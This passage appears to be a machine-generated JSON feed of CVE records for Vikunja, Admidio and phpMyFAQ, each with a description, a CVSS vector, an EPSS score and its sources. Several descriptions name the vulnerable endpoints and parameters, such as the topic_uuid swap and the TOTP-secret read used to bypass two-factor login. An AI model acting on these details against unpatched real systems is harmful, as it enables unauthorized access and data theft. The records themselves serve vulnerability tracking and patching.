CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111922&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111922, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111919","cveId":"CVE-2026-111919","aliases":[],"kind":"vulnerability","title":"Vikunja 0.22.0 before 2.7.0 contains an improper access revocation vulnerability that allows removed collaborators to keep receiving project data through webhooks they created.","summary":"Vikunja 0.22.0 before 2.7.0 contains an improper access revocation vulnerability that allows removed collaborators to keep receiving project data through webhooks they created. Former collaborators keep receiving task titles and descriptions through their webhook, including content created after their access was revoked.","detail":"Vikunja 0.22.0 before 2.7.0 contains an improper access revocation vulnerability that allows removed collaborators to keep receiving project data through webhooks they created. Former collaborators keep receiving task titles and descriptions through their webhook, including content created after their access was revoked.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T19:16:34.543Z","updatedAt":"2026-10-19T22:17:04.940Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111919","asOf":"2026-10-19T22:17:04.940Z"},"epss":{"probability":0.00355,"percentile":0.28954,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111919&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111919","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111919","type":"primary","publishedAt":"2026-10-17T19:16:34.543Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111919&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111919, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111917","cveId":"CVE-2026-111917","aliases":[],"kind":"vulnerability","title":"Vikunja 2.3.0 before 2.7.0 contains an improper session validation vulnerability that allows attackers to keep WebSocket access after revocation because handleAuth never checks...","summary":"Vikunja 2.3.0 before 2.7.0 contains an improper session validation vulnerability that allows attackers to keep WebSocket access after revocation because handleAuth never checks the JWT sid claim against the sessions table. Attackers holding a stolen access token can open or maintain connections to /api/v2/ws after session deletion or TOTP enrollment, continuing to receive the victim's notification.created pushes, including comment, task and project content.","detail":"Vikunja 2.3.0 before 2.7.0 contains an improper session validation vulnerability that allows attackers to keep WebSocket access after revocation because handleAuth never checks the JWT sid claim against the sessions table. Attackers holding a stolen access token can open or maintain connections to /api/v2/ws after session deletion or TOTP enrollment, continuing to receive the victim's notification.created pushes, including comment, task and project content.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T19:16:34.263Z","updatedAt":"2026-10-19T21:14:14.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111917","asOf":"2026-10-19T21:14:14.150Z"},"epss":{"probability":0.00355,"percentile":0.28954,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111917&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111917","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111917","type":"primary","publishedAt":"2026-10-17T19:16:34.263Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111917&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111917, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111914","cveId":"CVE-2026-111914","aliases":[],"kind":"vulnerability","title":"Admidio from 5.0.11 before 5.0.16 contains a broken access control vulnerability in modules/inventory/inventory_data.php that allows authenticated users to bypass the...","summary":"Admidio from 5.0.11 before 5.0.16 contains a broken access control vulnerability in modules/inventory/inventory_data.php that allows authenticated users to bypass the inventory_module_enabled restriction. Attackers with any valid login can request the DataTables JSON feed to read every inventory item and keeper names, even when the module is disabled.","detail":"Admidio from 5.0.11 before 5.0.16 contains a broken access control vulnerability in modules/inventory/inventory_data.php that allows authenticated users to bypass the inventory_module_enabled restriction. Attackers with any valid login can request the DataTables JSON feed to read every inventory item and keeper names, even when the module is disabled.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T19:16:33.963Z","updatedAt":"2026-10-19T21:02:51.987Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111914","asOf":"2026-10-19T21:02:51.987Z"},"epss":{"probability":0.00311,"percentile":0.23715,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111914&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111914","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111914","type":"primary","publishedAt":"2026-10-17T19:16:33.963Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111914&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111914, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111912","cveId":"CVE-2026-111912","aliases":[],"kind":"vulnerability","title":"Admidio from 5.0.0 before 5.0.16 contains an insecure direct object reference vulnerability in ForumService::saveTopic() that allows authenticated members to modify other users'...","summary":"Admidio from 5.0.0 before 5.0.16 contains an insecure direct object reference vulnerability in ForumService::saveTopic() that allows authenticated members to modify other users' forum topics. Attackers can replace the topic_uuid parameter in their own topic_save request, reusing their CSRF token, to overwrite the victim topic's title and first post.","detail":"Admidio from 5.0.0 before 5.0.16 contains an insecure direct object reference vulnerability in ForumService::saveTopic() that allows authenticated members to modify other users' forum topics. Attackers can replace the topic_uuid parameter in their own topic_save request, reusing their CSRF token, to overwrite the victim topic's title and first post.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T19:16:33.687Z","updatedAt":"2026-10-19T21:14:14.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111912","asOf":"2026-10-19T21:14:14.150Z"},"epss":{"probability":0.00181,"percentile":0.07628,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111912&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111912","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111912","type":"primary","publishedAt":"2026-10-17T19:16:33.687Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111912&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111912, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111910","cveId":"CVE-2026-111910","aliases":[],"kind":"vulnerability","title":"phpMyFAQ before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains an authorization bypass vulnerability in attachment.php that allows attackers to download attachments of...","summary":"phpMyFAQ before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains an authorization bypass vulnerability in attachment.php that allows attackers to download attachments of restricted FAQs by bypassing per-record permission checks. Low-privileged users with the dlattachment right, or anonymous users when allowDownloadsForGuests is enabled, can request attachment IDs to retrieve confidential files from restricted FAQs.","detail":"phpMyFAQ before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains an authorization bypass vulnerability in attachment.php that allows attackers to download attachments of restricted FAQs by bypassing per-record permission checks. Low-privileged users with the dlattachment right, or anonymous users when allowDownloadsForGuests is enabled, can request attachment IDs to retrieve confidential files from restricted FAQs.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T19:16:33.343Z","updatedAt":"2026-10-21T22:16:47.993Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111910","asOf":"2026-10-21T22:16:47.993Z"},"epss":{"probability":0.0028,"percentile":0.20237,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111910&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111910","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111910","type":"primary","publishedAt":"2026-10-17T19:16:33.343Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111910&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111910, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111909","cveId":"CVE-2026-111909","aliases":[],"kind":"vulnerability","title":"phpMyFAQ before 4.1.9 contains a missing authorization vulnerability in the deleteUser() API that allows authenticated non-superadmin users with delete_user permission to delete...","summary":"phpMyFAQ before 4.1.9 contains a missing authorization vulnerability in the deleteUser() API that allows authenticated non-superadmin users with delete_user permission to delete superadmin accounts. Attackers can send a DELETE request to /admin/api/user/delete with a superadmin's userId other than 1, removing administrative access and accountability.","detail":"phpMyFAQ before 4.1.9 contains a missing authorization vulnerability in the deleteUser() API that allows authenticated non-superadmin users with delete_user permission to delete superadmin accounts. Attackers can send a DELETE request to /admin/api/user/delete with a superadmin's userId other than 1, removing administrative access and accountability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T19:16:33.190Z","updatedAt":"2026-10-18T12:17:10.620Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111909","asOf":"2026-10-18T12:17:10.620Z"},"epss":{"probability":0.00275,"percentile":0.19655,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111909&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111909","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111909","type":"primary","publishedAt":"2026-10-17T19:16:33.190Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111909&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111909, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111908","cveId":"CVE-2026-111908","aliases":[],"kind":"vulnerability","title":"phpMyFAQ 4.0.0 before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains a broken object-level authorization vulnerability in the PUT /api/v3.1/faq/update endpoint, which checks...","summary":"phpMyFAQ 4.0.0 before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains a broken object-level authorization vulnerability in the PUT /api/v3.1/faq/update endpoint, which checks only the global edit_faq permission and does not verify access to the target FAQ. Authenticated users with edit_faq permission can supply the ID of a restricted FAQ they cannot view to modify its content, bypass moderation, and change its publication state.","detail":"phpMyFAQ 4.0.0 before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains a broken object-level authorization vulnerability in the PUT /api/v3.1/faq/update endpoint, which checks only the global edit_faq permission and does not verify access to the target FAQ. Authenticated users with edit_faq permission can supply the ID of a restricted FAQ they cannot view to modify its content, bypass moderation, and change its publication state.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T19:16:33.043Z","updatedAt":"2026-10-19T22:17:04.710Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111908","asOf":"2026-10-19T22:17:04.710Z"},"epss":{"probability":0.00369,"percentile":0.30524,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111908&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111908","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111908","type":"primary","publishedAt":"2026-10-17T19:16:33.043Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111908&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111908, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111907","cveId":"CVE-2026-111907","aliases":[],"kind":"vulnerability","title":"phpMyFAQ 4.0.0 before 4.1.9 contains a cross-site request forgery vulnerability in the POST /admin/api/update-database endpoint, which executes database migrations without...","summary":"phpMyFAQ 4.0.0 before 4.1.9 contains a cross-site request forgery vulnerability in the POST /admin/api/update-database endpoint, which executes database migrations without validating a CSRF token. Attackers can lure a logged-in user with the CONFIGURATION_EDIT permission into submitting a crafted cross-site request, triggering migrations that may impact database integrity or availability.","detail":"phpMyFAQ 4.0.0 before 4.1.9 contains a cross-site request forgery vulnerability in the POST /admin/api/update-database endpoint, which executes database migrations without validating a CSRF token. Attackers can lure a logged-in user with the CONFIGURATION_EDIT permission into submitting a crafted cross-site request, triggering migrations that may impact database integrity or availability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T19:16:32.883Z","updatedAt":"2026-10-19T17:17:05.593Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111907","asOf":"2026-10-19T17:17:05.593Z"},"epss":{"probability":0.00115,"percentile":0.01534,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111907&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111907","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111907","type":"primary","publishedAt":"2026-10-17T19:16:32.883Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111907&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111907, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111906","cveId":"CVE-2026-111906","aliases":[],"kind":"vulnerability","title":"phpMyFAQ before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains a cross-site request forgery vulnerability in the Elasticsearch and OpenSearch administration API endpoints, which...","summary":"phpMyFAQ before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains a cross-site request forgery vulnerability in the Elasticsearch and OpenSearch administration API endpoints, which do not validate a CSRF token for the create, drop, and import actions. Attackers can lure a user with CONFIGURATION_EDIT permission to a malicious page that triggers these actions, deleting search indexes, forcing re-indexing, or exhausting resources.","detail":"phpMyFAQ before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains a cross-site request forgery vulnerability in the Elasticsearch and OpenSearch administration API endpoints, which do not validate a CSRF token for the create, drop, and import actions. Attackers can lure a user with CONFIGURATION_EDIT permission to a malicious page that triggers these actions, deleting search indexes, forcing re-indexing, or exhausting resources.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T19:16:32.723Z","updatedAt":"2026-10-19T15:16:55.920Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Elasticsearch"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111906","asOf":"2026-10-19T15:16:55.920Z"},"epss":{"probability":0.00153,"percentile":0.04395,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111906&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111906","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111906","type":"primary","publishedAt":"2026-10-17T19:16:32.723Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111906&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111906, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111905","cveId":"CVE-2026-111905","aliases":[],"kind":"vulnerability","title":"phpMyFAQ 3.2.0 before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains an insecure direct object reference vulnerability in GET /admin/api/user/data/{userId}, which returns any...","summary":"phpMyFAQ 3.2.0 before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains an insecure direct object reference vulnerability in GET /admin/api/user/data/{userId}, which returns any user's full faquserdata row, including the live TOTP secret, without a SuperAdmin or protected-target check. Delegated administrators with user-management rights can read a SuperAdmin's TOTP secret and generate valid codes to bypass two-factor authentication.","detail":"phpMyFAQ 3.2.0 before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains an insecure direct object reference vulnerability in GET /admin/api/user/data/{userId}, which returns any user's full faquserdata row, including the live TOTP secret, without a SuperAdmin or protected-target check. Delegated administrators with user-management rights can read a SuperAdmin's TOTP secret and generate valid codes to bypass two-factor authentication.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T19:16:32.563Z","updatedAt":"2026-10-21T22:16:47.873Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111905","asOf":"2026-10-21T22:16:47.873Z"},"epss":{"probability":0.00413,"percentile":0.353,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111905&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 